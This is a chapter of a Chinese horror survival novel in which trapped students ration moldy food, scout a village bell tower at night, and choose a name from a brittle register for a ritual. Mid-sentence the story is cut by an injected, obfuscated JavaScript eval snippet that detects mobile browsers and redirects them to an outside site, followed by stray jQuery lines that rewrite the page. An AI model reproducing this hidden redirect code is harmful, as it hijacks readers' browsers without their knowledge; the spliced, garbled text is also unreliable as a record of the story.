地窖里带出来的粮食，味道实在难以下咽。那些发黑的谷粒，煮出来是一锅糊糊，带着浓重的霉味和土腥气。那些块茎，烤过之后依旧苦涩，吃下去胃里像塞了块石头。但没人抱怨，每个人都沉默地吃着自己那份，因为身体需要热量，活下去需要力气。


    水也不够。他们从各处搜集来的破罐烂碗里存下的雨水和井水，混浊不堪，必须沉淀很久才能勉强喝一点。喉咙总是干的，嘴唇起了皮。


    但比饥饿干渴更磨人的，是那种无所不在的压抑和恐惧。白天，村庄死一般寂静，可你知道那些灰白的影子就藏在某处，可能在脚下的地底，可能在隔壁封死的屋里。夜晚，钟声一响，它们就出来游荡，脚步声在街上拖沓，有时还会停在门外，用那种不像活人的声音低语引诱。


    木楼成了他们临时的堡垒，却并不让人觉得安全。墙壁太薄，门栓不够结实，窗户也挡不住什么东西。每个人都睡不踏实，一点风吹草动就会惊醒，手握紧身边能找到的任何“武器”——半截木棍，一块锋利的碎陶片，一把生锈的柴刀。


    许听眠负责值后半夜的岗。他靠在窗边，眼睛看着外面黑漆漆的巷子，耳朵听着楼里的动静。苏漫和陈哲睡在离他最近的地方，呼吸轻微。王猛和李远靠在另一边墙角，即使睡着，身体也绷着。赵小雨和张浩蜷缩在角落里，眉头紧锁，显然在做噩梦。


    他看着他们，心里沉甸甸的。带他们找到生路，这个念头像块大石头压着他。他想起宿舍里的兄弟，想起导师催论文时恨铁不成钢的表情，想起食堂大妈打菜时总会给他多舀一勺。那些平常得不能再平常的日子，现在想起来，每一个细节都闪着光，他必须回去。


    天快亮的时候，钟声又响了。还是那种从地底升上来的、冰凉沉重的响声。许听眠立刻打起精神，示意大家别动。钟声持续的时间似乎比白天长一些，接着，街上传来那些熟悉的、拖沓的脚步声。它们像潮水一样从钟楼方向涌出来，漫过街道，钻进每条巷子。


    这一次，它们似乎离木楼特别近。有好几个灰白的影子就停在了木楼外面，不动了。许听眠透过窗缝，能看到它们模糊的轮廓，还有那些僵硬的、挂着诡异笑容的侧脸。它们就那样站着，好像在听，在嗅。


    木楼里死一般寂静，连呼吸声都压到了最低。许听眠能听到自己心跳的声音，咚咚咚，撞着胸口。


    不知道过了多久，也许只有几分钟，却像几个世纪那么长。外面的影子终于动了，慢吞吞地转身，拖着步子离开了。脚步声渐渐远去，消失在巷子深处。


    直到外面彻底没了声音，许听眠才松了口气，后背的衣服已经被冷汗湿透了。


    “它们……好像在找什么。”苏漫坐起身，声音很轻。


    “可能是找我们，”王猛也醒了，脸色不好看，“也可能是在找……别的。”


    李远揉了揉太阳穴：“那个地窖……我们动了里面的东西。”


    这话让大家心里都是一紧。陈哲下意识地看了一眼墙角那个用破布包着的包裹——里面是那些写着名字的薄膜，残名簿。


    “白天必须加快进度了。”许听眠说，“我们要搞清楚钟声的确切规律，搞清楚晚上什么时候是‘子夜’，还要从那些名字里找出最可能的那一个。”


    天亮后，他们按照计划分头行动。


    苏漫和陈哲守着那个破布包，开始研究残名簿。他们不敢出声念，只能用手指着，一个个看。薄膜很脆，一不小心就会弄破，上面的字迹又模糊，很多根本认不出来。那些能认出来的名字，也都普普通通，王二，李三，赵家媳妇……看不出有什么特别的。


    “这里有一个，”陈哲指着一张保存稍好的薄膜，上面写着“孙守义”，后面还有一个奇怪的符号，像是一只闭着的眼睛，“这个符号在其他名字后面也有，但不多。”


    苏漫记下了这个名字。她又翻看了很久，发现有些名字后面划着叉，有些划着圈，还有一些重复出现，字迹却不同，好像被写了好几次。这让她想起村志补录里说的，“名字”在这里可能被消耗或争夺。难道划掉的名字，代表那个灵魂已经彻底……消散了？或者被“使用”了？


    另一边，王猛、李远和许听眠再次出发，去钟楼附近做最后一次侦查。这次他们更加小心，完全避开广场，只在外围的巷道和房屋之间穿行，从不同的角度观察钟楼和周围的地形。


    钟楼在白天看起来依旧死气沉沉，黑洞洞的入口像一张嘴。他们注意到，钟楼底层似乎有一些门洞或窗洞，但都被乱七八糟的东西堵死了。只有顶部的钟亭四面敞开，那口黑沉沉的大钟悬在里面，一动不动。


    “如果子夜要靠近，甚至进到钟楼里面，”王猛低声说，“入口很可能就是那个被堵住的门。但我们怎么在不惊动那些东西的情况下进去？”


    “也许不用进去，”许听眠观察着钟楼的结构，“‘钟眼’可能指的是钟本身，或者钟亭的某个位置。我们可能只需要在钟楼下，或者广场上，在正确的时间，说出真名。”


    “但那样我们就会完全暴露在广场上，”李远摇头，“太危险了。那些村民，还有晚上那个会模仿声音的东西，可能都会出现。”


    他们一边观察，一边在脑子里勾勒行动的路线和可能的藏身点。钟楼广场四周的房屋大多破败，但有几栋看起来相对完整。他们需要找到一个既能观察到钟楼和广场，又能在必要时快速撤离，还能在一定程度上遮挡身形的地方。


    转了大半天，他们大致选定了两个位置：一个是广场西北角一栋两层土楼的二楼，窗户正对钟楼，但窗户破损，容易暴露；另一个是广场东侧一间低矮的砖房，位置偏一些，但有个小小的后院，院墙可以翻越，通往后面的巷子，撤退比较方便。


    “行动的时候，不能所有人都上去，”许听眠说，“需要有人在外面接应，以防万一。”


    他们记下路线，返回木楼。


    下午，赵小雨和张浩那边有了点进展。他们试着用找到的一个破铁片当锅，架在几块砖头上，下面用捡来的干燥木屑和碎布引火，小心翼翼地烤那些块茎和谷粒。虽然烟有点大，他们很担心引来东西，但幸运的是，白天似乎没有村民活动。烤过的食物虽然依旧难吃，但那股霉味和苦涩味淡了一些，至少能勉强吞下去了。他们还把一些谷粒磨成粉，混着水搅成糊，准备下次吃。


    这是一个小小的鼓舞。能自己弄熟食物，意味着他们能坚持更久一点。


    傍晚，第四次钟声响起。这一次，苏mar记下了精确的时间点——从上次钟声结束，到这次钟声开始，间隔大约是七个半小时。


    “如果按照这个间隔推算，”苏漫在地上用炭笔画着，“下一次钟声应该在……深夜，大概是我们平时晚上十一二点的时候。再下一次，就是第二天天快亮的时候。”她抬起头，“如果子夜是一个关键点，那么深夜那次钟声，很可能就是‘钟眼睁开’的时刻。”


    “但也有可能，子夜那个时刻，钟声会和平常不一样，”陈哲推了推眼镜，“比如更长，更响，或者……钟楼本身会有什么变化。”


    “我们需要去确认，”许听眠说，“今天晚上，至少要去一个人，在远处观察深夜那次钟声时，钟楼和广场的情况。”


    这是一个危险的任务。深夜，是那些东西活动最频繁的时候，而且还要靠近钟楼区域。


    “我去。”王猛说，“我当过兵，潜行和观察我在行。”


    “我跟你一起，”李远道，“两个人有个照应。”


    许听眠想了想，同意了。但他叮嘱：“只观察，绝对不要靠近，不要发出任何声音。一旦有危险，立刻撤回，安全第一。”


    夜幕再次降临，黑暗如同墨汁，将村庄彻底吞没。王猛和李远带上简单的装备和武器，悄无声息地离开了木楼，消失在巷道的阴影里。


    木楼里剩下的人，心都悬着。许听眠守在窗边，苏漫和陈哲继续研究残名


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17078992|195301||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    簿，赵小雨和张浩缩在角落里，默默祈祷。


    时间过得很慢。外面一片死寂，连风声都听不见。偶尔有不知名的夜鸟发出一两声短促凄厉的鸣叫，让人心惊肉跳。


    许听眠看着外面浓得化不开的黑暗，思绪飘回了学校。这个时候，图书馆应该刚关门吧？宿舍里应该很热闹，打游戏的，看剧的，讨论明天吃什么的……他甩甩头，强迫自己集中精神。


    不知过了多久，远处传来了极轻微的脚步声。许听眠立刻警惕起来，示意其他人别动。


    脚步声停在门外，然后是约定好的、轻轻的叩击声。


    是王猛和李远回来了。


    门打开，两人闪身进来，脸色都有些发白，带着劫后余生的庆幸。


    “怎么样？”苏漫急忙问。


    王猛喝了口水，缓了口气，才低声说：“我们摸到了广场东边那间砖房，躲在院墙后面观察。快到预估时间的时候，钟楼那边……果然有变化。”


    李远接话：“不是钟声先响。是钟楼本身，那些堵住门洞的杂物，好像……自己动了。然后，从钟楼底层的黑暗里，走出来一个人。”


    “一个人？”许听眠追问。


    “不，应该不是活人，”王猛摇头，“走路的姿势很怪，但不像其他村民那么僵硬。它走到钟楼前面，仰头看着上面的钟。然后……钟才响了。”


    “这次的钟声，”李远形容着，“和白天、傍晚的都不一样。声音没那么响，但是……更沉，更闷，好像不是从钟里发出来的，而是从地底，从整个钟楼里一起震出来的。钟响的时候，钟亭里那口大钟，好像……隐隐约约，发了一下光。很暗的红光，一闪就没了。”


    “红光？像眼睛睁开那样？”陈哲问。


    “不好说，太快了，也可能是错觉。”王猛说，“但那个从钟楼里出来的人影，在钟声响的时候，抬起了手，对着钟，好像在做着什么……然后，广场四周的黑暗里，那些村民就出现了，比平时更多，它们围着广场，但不上前，就那么站着，直到钟声结束。”


    “钟声一停，那个人影就退回钟楼里了，那些村民也很快散开，消失了。”李远补充，“整个过程中，广场上除了那个人影，没有其他村民上去。它们好像……不敢踏上广场，至少在那个时刻不敢。”


    这个信息非常重要！这意味着，在“钟眼睁开”的特殊钟声响起时，广场上可能相对“安全”，至少不会有大量村民围攻。但那个从钟楼里出来的神秘人影，无疑是最大的变数和危险。


    “那个人影，会是‘最初之缚者’吗？还是别的什么？”苏漫猜测。


    “不知道，”许听眠沉思，“但它是从钟楼里出来的，很可能和仪式的核心有关。我们到时候要面对它。”


    压力更大了。他们不仅要找准时机，说出真名，还要面对一个未知的、可能极其危险的存在。


    “还有，”王猛想起什么，脸色更凝重了，“我们往回走的时候，好像……被跟踪了。不是那些村民，脚步声很轻，很快，躲在阴影里。我们绕了好几个圈子，才甩掉。可能是晚上那个会模仿声音的东西，也可能……是别的。”


    被盯上了。这个认知让木楼里的空气又冷了几分。


    许听眠深吸一口气。没有退路了。信息已经收集得差不多，残名簿的研究进展缓慢，但也不能再拖了。距离七天的期限，已经过去了三天（他们估计）。必须在下一个“子夜”到来时行动。


    “明天白天，我们做最后的准备，”许听眠说，“确定最终的行动人选、路线和方案。明天晚上……我们就去钟楼。”


    他的话让所有人都沉默下来。恐惧是实实在在的，但躲在这里也只是等死。拼命一搏，或许还有一线生机。


    “我需要那个名字，”许听眠看向苏漫和陈哲，“最可能的那一个。”


    苏漫和陈哲对视一眼，将那张写着“孙守义”和闭眼符号的薄膜，轻轻推到了许听眠面前。